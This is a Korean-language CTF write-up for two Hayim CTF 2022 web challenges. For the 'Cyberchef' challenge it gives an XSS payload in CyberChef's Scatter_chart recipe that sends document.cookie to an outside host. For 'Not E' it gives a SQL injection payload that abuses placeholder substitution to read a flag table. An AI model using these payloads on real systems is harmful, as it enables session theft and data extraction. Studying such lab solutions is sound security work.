Hayim CTF 2022

 Cyberchef

문제 페이지는 위와 같다. 

 

< app.js >

const express = require('express');
const bodyParser = require('body-parser');
const { checkRateLimit, checkUrl, visitUrl } = require('./utils');

const app = express();

app.set('view engine', 'ejs');

app.use(bodyParser.urlencoded({
  extended: false
}));

app.get('/', (req, res) => {
  res.render('index');
});

app.post('/report', (req, res) => {
  const url = req.body.url;

  if (!checkUrl(url)) {
    res.redirect('/?message=invalid argument');
  } else if (!checkRateLimit(req.ip)) {
    res.redirect(`/?message=rate limited`);
  } else {
    visitUrl(url)
      .then(() => res.redirect('/?message=reported'));
  }
});

app.listen(8001);

< utils.js >

const webdriver = require('selenium-webdriver');
const capabilities = webdriver.Capabilities.chrome();

const flag = require('fs').readFileSync('/flag').toString().trim();

const rateLimit = 30 * 1000;
const pageTimeout = 3 * 1000;
const urlPrefix = 'http://cyberchef:8000/';

const timestamps = new Map();

const sleep = (ms) => {
  return new Promise((resolve) => {
    setTimeout(() => resolve(), ms);
  });
};

const checkRateLimit = (key) => {
  const now = Date.now();

  if (timestamps.has(key) && timestamps.get(key) > now - rateLimit) {
    return false;
  }

  timestamps.set(key, now);
  return true;
};

const checkUrl = (url) => {
  return !(typeof url !== 'string' || !url.startsWith(urlPrefix) || url.length > 1024);
};

const visitUrl = (url) => {
  return new Promise(async (resolve) => {
    const driver = new webdriver.Builder('chrome')
      .usingServer('http://selenium:4444/wd/hub/')
      .withCapabilities(capabilities)
      .build();

    await driver.get(urlPrefix);

    await driver.manage().addCookie({
      name: 'flag',
      value: flag
    });

    await driver.manage().setTimeouts({
      implicit: pageTimeout,
      pageLoad: pageTimeout,
      script: pageTimeout
    });

    await driver.get(url);
    await sleep(pageTimeout);
    await driver.quit();

    resolve();
  });
};

module.exports = {
  checkRateLimit,
  checkUrl,
  visitUrl
};

핵심 코드는 위와 같다. utils.js 파일에서 chromedriver로 접속하고자 하는 웹사이트에 접근하며 Cookie를 탈취해야 Flag를 얻을 수 있다.  문제 페이지 최상단 좌측에 Download CyberChef를 클릭해 소스코드를 보면 CyberChef_v9.32.3 버전을 사용한다. github에 cyberchef와 관련된 issues를 보면 XSS와 관련된 취약점들을 확인할 수 있었다.

위  recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Ealert(%22XSS:%20%22%20%2B%20document.domain)%3C/script%3E',100,false)&input=MTAwLCAxMDA

페이로드를 직접 대입하면 XSS가 터지는 것을 확인할 수 있다.

 

위 URL을 Report하여 Flag를 얻으면 된다.

 

Payload

http://cyberchef:8000/#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.href%3d%22https://payload.site/?%22%2Bdocument.cookie%3C/script%3E',100,false)&input=MTAwLCAxMDA

Flag

hsctf{fa98fe3d32b4302aff1c322c925238a9d935b636f265cbfdd798391ca9c5a905}

---

Not E

Main Page

Login Page

소스 코드를 봤더니 SQL Query문이 많이 보이는 것을 보아 SQL Injection을 의심했다. 마침 SQLi 문제를 위한 빌드업처럼 보이기도 했고. 

flag table에 flag가 저장되어 있는 것을 확인하고 SQLi exploit 문제인 것을 확정.

 

app.all('/new', async (req, res) => {
  if (req.method !== 'POST') {
    return res.render('new', { auth: true });
  }

  const { title, content } = req.body;
  // console.log("title : ", title, "content : ", content);
  // console.log('title type', typeof(title), 'content type', typeof(content));
  if (!checkParam(title) || !checkParam(content)) {
    return res.redirect('?message=invalid argument');
  }

  const noteId = md5(title + content);
  //insert into posts values (?, ?, select)
  await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);

  return res.redirect('/?message=successfully created');
});

/new endpoint에서 최하단 insert쿼리문을 보면 prepared statement를 "?"로 받는다. 도커로 같은 환경에서 테스트를 해봤더니 "?" 문자가 formatQuery로 인해 하나 더 추가되고 sql.replace('?', param)에 의해 빈 문자열인 ""로 대체되는 것을 확인하였다.

 

참고 자료 : https://jangjongmin.oopy.io/b32e4eba-7b35-4540-97bb-be242f16c5f8

 

예시)

Input : Insert INTO posts ("test", "1234?", "5678", "guest");
Output : Insert INTO posts ("test", "1234""", "5678", "guest");

이렇게 ?를 사용하면 "필터링 우회가 가능하므로 SQLi가 가능하다.

 

Payload

title : exploit
content : ,(SELECT * FROM flag), 'username');-- 

# Input : INSERT INTO posts VALUES ("note_id", "exploit", ", (SELECT * FROM flag), 'username'); -- ", "username");
# Output : INSERT INTO posts VALUES ("note_id", "exploit", (SELECT * FROM flag), 'username');-- "", "", ?);

Flag

hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}

---